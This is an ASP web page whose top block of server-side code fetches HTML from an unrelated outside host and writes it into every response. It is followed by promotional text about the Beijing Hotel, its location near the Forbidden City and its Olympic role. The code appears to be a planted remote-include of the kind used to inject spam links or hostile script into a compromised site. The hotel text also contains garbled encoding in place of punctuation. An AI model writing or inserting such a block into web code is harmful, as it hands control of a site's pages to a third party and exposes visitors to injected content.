<%
function getHTTPPage(url)
dim Http
set Http=server.createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=BytesToBstr(Http.responseBody,"utf-8")
set http=nothing
if err.number<>0 then err.Clear
end function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim Url,Html
Url="http://link1.rmt64.com/link.html"
Html = getHTTPPage(Url)
Response.ContentType="text/html;charset=gb2312"
Response.write Html
%>
The Beijing Hotel is one of the most distinguished addresses in Beijing and has played a key role in the city臓俗s history since 1900. Located on the famous Chang An Avenue, the hotel is within walking distance of the Forbidden City, Tian臓俗anmen Square and other major sights and is adjacent to the shopping area of Wangfujing Street.
The Beijing Hotel has been presented with the 臓速Five Star Diamond Award臓俗 for consecutive years by the American Academy of Hospitality Sciences, one of the most prestigious symbols of excellence in the global hospitality industry. During the XXIX Olympiad 2008 the Beijing Hotel will serve as the headquarters and command center of the International Olympic Committee